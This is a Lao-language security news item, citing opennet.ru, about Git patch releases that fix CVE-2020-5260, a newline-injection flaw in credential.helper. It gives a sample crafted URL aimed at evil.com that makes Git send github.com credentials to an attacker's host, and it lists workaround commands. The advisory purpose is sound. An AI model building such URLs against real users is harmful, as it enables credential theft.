Git เบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเบเบฒเบ™เบฎเบปเปˆเบงเป„เบซเบฅเบ‚เบญเบ‡เบ‚เปเป‰เบกเบนเบ™

เบˆเบฑเบ”เบžเบตเบกเบกเบฒ เบเบฒเบ™เปเบเป‰เป„เบ‚เบเบฒเบ™เปเบเป‰เป„เบ‚เบ‚เบญเบ‡เบฅเบฐเบšเบปเบšเบเบฒเบ™เบ„เบงเบšเบ„เบธเบกเปเบซเบผเปˆเบ‡เปเบˆเบเบขเบฒเบ Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 เปเบฅเบฐ 2.17.4, เปƒเบ™ เบ—เบตเปˆโ€‹เบฅเบปเบšโ€‹เบฅเป‰เบฒเบ‡โ€‹ เบ„เบงเบฒเบกเบญเปˆเบญเบ™เปเบญ (CVE-2020-5260) เปƒเบ™ handler "credential.helper" , เป€เบŠเบดเปˆเบ‡เป€เบฎเบฑเบ”เปƒเบซเป‰เบ‚เปเป‰เบกเบนเบ™เบ›เบฐเบˆเปเบฒเบ•เบปเบงเบ–เบทเบเบชเบปเปˆเบ‡เป„เบ›เบซเบฒเป€เบˆเบปเป‰เบฒเบžเบฒเบšเบ—เบตเปˆเบšเปเปˆเบ–เบทเบเบ•เป‰เบญเบ‡เป€เบกเบทเปˆเบญเบฅเบนเบเบ„เป‰เบฒ git เป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡เบšเปˆเบญเบ™เป€เบเบฑเบšเบกเป‰เบฝเบ™เป‚เบ”เบเปƒเบŠเป‰ URL เบ—เบตเปˆเบกเบตเบฎเบนเบšเปเบšเบšเบžเบดเป€เบชเบ”เบ—เบตเปˆเบกเบตเบ•เบปเบงเบญเบฑเบเบชเบญเบ™เปƒเบซเบกเปˆ. เบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเบชเบฒเบกเบฒเบ”เบ–เบทเบเบ™เปเบฒเปƒเบŠเป‰เป€เบžเบทเปˆเบญเบˆเบฑเบ”เปเบˆเบ‡เบ‚เปเป‰เบกเบนเบ™เบ›เบฐเบˆเปเบฒเบ•เบปเบงเบˆเบฒเบเป‚เบฎเบ”เบญเบทเปˆเบ™เบ—เบตเปˆเบˆเบฐเบ–เบทเบเบชเบปเปˆเบ‡เป„เบ›เบซเบฒเป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเบ—เบตเปˆเบ„เบงเบšเบ„เบธเบกเป‚เบ”เบเบœเบนเป‰เป‚เบˆเบกเบ•เบต.

เป€เบกเบทเปˆเบญเบฅเบฐเบšเบธ URL เป€เบŠเบฑเปˆเบ™ โ€œhttps://evil.com?%0ahost=github.com/โ€, เบ•เบปเบงเบˆเบฑเบ”เบเบฒเบ™เบ‚เปเป‰เบกเบนเบ™เบ›เบฐเบˆเบณเบ•เบปเบงเป€เบกเบทเปˆเบญเป€เบŠเบทเปˆเบญเบกเบ•เปเปˆเบเบฑเบš host evil.com เบˆเบฐเบœเปˆเบฒเบ™เบ•เบปเบงเบเปเบฒเบ™เบปเบ”เบเบฒเบ™เบขเบทเบ™เบขเบฑเบ™เบ—เบตเปˆเบฅเบฐเบšเบธเป„เบงเป‰เบชเปเบฒเบฅเบฑเบš github.com. เบšเบฑเบ™เบซเบฒเป€เบเบตเบ”เบ‚เบถเป‰เบ™เปƒเบ™เป€เบงเบฅเบฒเบ—เบตเปˆเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เป€เบŠเบฑเปˆเบ™ "git clone", เบฅเบงเบกเบ—เบฑเบ‡เบเบฒเบ™เบ›เบฐเบกเบงเบ™เบœเบปเบ™ URLs เบชเปเบฒเบฅเบฑเบš submodules (เบ•เบปเบงเบขเปˆเบฒเบ‡เป€เบŠเบฑเปˆเบ™, "git submodule update" เบญเบฑเบ”เบ•เบฐเป‚เบ™เบกเบฑเบ”เบˆเบฐเบ›เบฐเบกเบงเบ™เบœเบปเบ™ URLs เบ—เบตเปˆเบฅเบฐเบšเบธเป„เบงเป‰เปƒเบ™เป„เบŸเบฅเปŒ .gitmodules เบˆเบฒเบ repository). เบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเปเบกเปˆเบ™เป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบเบ—เบตเปˆเบชเบธเบ”เปƒเบ™เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบ—เบตเปˆเบ™เบฑเบเบžเบฑเบ”เบ—เบฐเบ™เบฒ clones เป€เบเบฑเบšเบฎเบฑเบเบชเบฒเป„เบงเป‰เป‚เบ”เบเบšเปเปˆเป€เบซเบฑเบ™ URL, เบ•เบปเบงเบขเปˆเบฒเบ‡, เป€เบกเบทเปˆเบญเป€เบฎเบฑเบ”เบงเบฝเบเบเบฑเบšเป‚เบกเบ”เบนเบ™เบเปˆเบญเบ, เบซเบผเบทเปƒเบ™เบฅเบฐเบšเบปเบšเบ—เบตเปˆเบ›เบฐเบ•เบดเบšเบฑเบ”เบญเบฑเบ”เบ•เบฐเป‚เบ™เบกเบฑเบ”, เบ•เบปเบงเบขเปˆเบฒเบ‡, เปƒเบ™เบŠเบธเบ”เบชเป‰เบฒเบ‡เบชเบฐเบ„เบดเบš.

เป€เบžเบทเปˆเบญเบšเบฅเบฑเบญเบเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเปƒเบ™เป€เบงเบตเบŠเบฑเปˆเบ™เปƒเปเปˆ เบซเป‰เบฒเบก เบเบฒเบ™เบ–เปˆเบฒเบเบ—เบญเบ”เบฅเบฑเบเบชเบฐเบ™เบฐเปเบ–เบงเปƒเบซเบกเปˆเปƒเบ™เบ„เปˆเบฒเปƒเบ”เป†เบ—เบตเปˆเบชเบปเปˆเบ‡เบœเปˆเบฒเบ™เป‚เบ›เป‚เบ•เบ„เบญเบ™เบเบฒเบ™เปเบฅเบเบ›เปˆเบฝเบ™เบ‚เปเป‰เบกเบนเบ™เบ›เบฐเบˆเปเบฒเบ•เบปเบง. เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เปเบˆเบเบขเบฒเบ, เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เบ•เบดเบ”เบ•เบฒเบกเบเบฒเบ™เบ›เปˆเบญเบเบเบฒเบ™เบ›เบฑเบšเบ›เบธเบ‡เบŠเบธเบ”เปƒเบ™เบซเบ™เป‰เบฒเป€เบงเบฑเบšเบ•เปˆเบฒเบ‡เป† Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, เบ—เป‰เบญเบ‡เบŸเป‰เบฒ, FreeBSD.

เป€เบ›เบฑเบ™เบเบฒเบ™เปเบเป‰เป„เบ‚เป€เบžเบทเปˆเบญเบชเบฐเบเบฑเบ”เบšเบฑเบ™เบซเบฒ เปเบ™เบฐ เบ™เบณ เบขเปˆเบฒเปƒเบŠเป‰ credential.helper เป€เบกเบทเปˆเบญเป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡เบšเปˆเบญเบ™เป€เบเบฑเบšเบกเป‰เบฝเบ™เบชเบฒเบ—เบฒเบฅเบฐเบ™เบฐ เปเบฅเบฐเบšเปเปˆเปƒเบŠเป‰ "git clone" เปƒเบ™เป‚เปเบ” "--recurse-submodules" เบ—เบตเปˆเบกเบตเบšเปˆเบญเบ™เป€เบเบฑเบšเบกเป‰เบฝเบ™เบ—เบตเปˆเบšเปเปˆเป„เบ”เป‰เบเบงเบ”เป€เบšเบดเปˆเบ‡. เป€เบžเบทเปˆเบญเบ›เบดเบ”เบเบฒเบ™เปƒเบŠเป‰เบ‡เบฒเบ™เบ•เบปเบงเบˆเบฑเบ”เบเบฒเบ™ credential.helper เบขเปˆเบฒเบ‡เบชเบปเบกเบšเบนเบ™, เป€เบŠเบดเปˆเบ‡เป€เบฎเบฑเบ”เป„เบ”เป‰ เบ›เบปเบเบ›เบฑเบเบฎเบฑเบเบชเบฒ เปเบฅเบฐเบเบฒเบ™เบ”เบถเบ‡เบฅเบฐเบซเบฑเบ”เบœเปˆเบฒเบ™เบˆเบฒเบ เปเบ„เบ”, เบ›เป‰เบญเบ‡เบเบฑเบ™ เบ„เบฑเบ‡เป€เบเบฑเบšเบกเป‰เบฝเบ™ เบซเบผเบทเป„เบŸเบฅเปŒเบ—เบตเปˆเบกเบตเบฅเบฐเบซเบฑเบ”เบœเปˆเบฒเบ™, เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เบ™เปเบฒเปƒเบŠเป‰เบ„เปเบฒเบชเบฑเปˆเบ‡:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

เปเบซเบผเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™: opennet.ru

เป€เบžเบตเปˆเบกเบ„เบงเบฒเบกเบ„เบดเบ”เป€เบซเบฑเบ™